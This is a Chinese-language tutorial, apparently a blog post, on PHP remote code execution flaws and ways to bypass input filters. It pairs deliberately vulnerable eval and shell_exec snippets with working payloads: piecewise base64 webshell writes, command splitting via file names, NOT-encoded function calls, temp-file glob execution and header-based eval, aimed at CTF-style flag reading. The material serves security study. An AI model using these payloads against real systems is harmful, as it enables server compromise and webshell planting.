RCE漏洞及绕过

目录

1、RCE概述

(1)命令执行函数

(2)代码执行函数

2、回调后门

3、eval和assert

限制字符长度绕过

(1)反引号或exec

(2)file_put_contents写入文件

(3)回调后门+变长参数

(4)拼接文件名

无字母数字绕过

(1)取反码

(2)临时文件

无参数读文件和RCE

(1)Apache

(2)Nginx


1、RCE概述

RCE漏洞:远程代码执行和远程命令执行

在很多Web应用中,开发人员会使用一些特殊函数,这些函数以一些字符串作为输入,功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时,就产生了RCE漏洞。

(1)命令执行函数

system(),  passthru()  -->可以直接输出结果

exec(),  shell_exec()    -->需要echo打印结果

(2)代码执行函数

eval(),   assert()    -->执行php代码

 call_user_func(),   call_user_func_array()  -->回调函数 

2、回调后门

有回调函数作为参数的函数 -->回调后门

call_user_func() ,   call_user_func_array() , array_filter() 等等

3、eval和assert

eval在php中是动态执行的方法,不能通过$_GET和$_POST来动态传递进行执行

assert是php的函数,可以动态传递进行执行

例:如有回调后门如下

call_user_func('assert',$_REQUEST['pass']);

我们在用蚁剑进行连接的时候,如果这样:

?pass=$_POST[123] 

这样连接会失败,要在前面加上eval,

 这样才能连接成功

限制字符长度绕过

<?php
$param = $_REQUEST['param']; 
if (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false)
{
    eval($param);
}

(1)反引号或exec

?param=echo%20`$_GET[1]`;&1=whoami

?param=exec($_GET[1]);&1=whoami

(2)file_put_contents写入文件

将一句话木马进行base64编码后一个一个写入文件

为什么必须编码?

因为像< 这些特殊符号,不能直接写入

?1=file_put_contents&param=$_GET[1](N,P,8);
?1=file_put_contents&param=$_GET[1](N,D,8);
...
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中	*/

?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

(3)回调后门+变长参数

usort(...$_GET)

usort —> 使用用户自定义的比较函数对数组中的值进行排序

用BurpSuit抓包,修改post和get值

(4)拼接文件名

<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 )
{
       	echo shell_exec($param);
}

 echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php

因为长度限制,将上面一句命令拆分开,通过常见文件的方式绕过

 最后再用ls -t 以创建时间的列出当前文件夹下所有文件,就拼接回去了

注意:每一个文件名后面都要加上\,因为文件名都是以换行符结尾,在ls -t列出文件的时候,\起到转义换行符的作用

无字母数字绕过

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

(1)取反码

php7中,支持这样执行函数:('phpinfo')();

payload:

(~%8F%97%8F%96%91%99%90)();

将 phpinfo取反 : ~phpinfo -->urlcode编码 :%8F%97%8F%96%91%99%90

payload再次取反,就复原了,成功绕过

(2)临时文件

php上传文件机制:

第一步:将本地的文件上传到服务器的临时目录 /tmp

第二步:将上传的文件从临时目录移动到指定的目录中,再删除临时文件

思路:

(1)上传一个shell文件(虽然上传不成功,但是代码没执行完毕临时文件不会删除),将要执行的代码写入文件

(2)再通过get传参传入命令,执行临时文件

阻碍:

1、 上传的临时文件没有x执行权限, -->  . phpasgdfK (点加空格加文件名执行)

2、 不知道临时文件名,为随机生成的

临时文件名特征:随机文件名为: phpxxxxxx  ,但最后一个位大多是大写字母,只有少数部分位小写字母和数字

大写字母ASCII范围是: @-[

Linux glob 通配符:? 匹配任意一个字符,* 匹配任意多个字符

payload:

?code=?><?=`.+/???/????????[@-[]`;?>

无参数读文件和RCE

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']))
{    
    eval($_GET['code']);
}
?>

上面正则只能匹配函数,不能有参数,但是可以嵌套函数 -->  a(b(c()))

(1)Apache

apache有getallheaders()函数,获取所有header

code=eval(next(getallheaders()));

user-agent:phpinfo();

用BurpSuit抓包,修改header内容,将要执行的命令写入头部

(2)Nginx

找到flag文件

1、print_r(scandir('.')); 

但是不能有 . 这个参数,所以找到输出 . d 的函数

(1)print_r(scandir(current(localeconv())));  --pos是current的别名,也可以

(2)chr(46) 是字符 .
   chr(current(localtime(time())));

2、print_r(scandir('绝对路径'));

print_r(scandir(getcwd()));

读flag文件

show_source(array_rand(array_flip(scandir(getcwd()))));

array_flip()是交换数组的键和值,array_rand()是随机返回一个数组

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值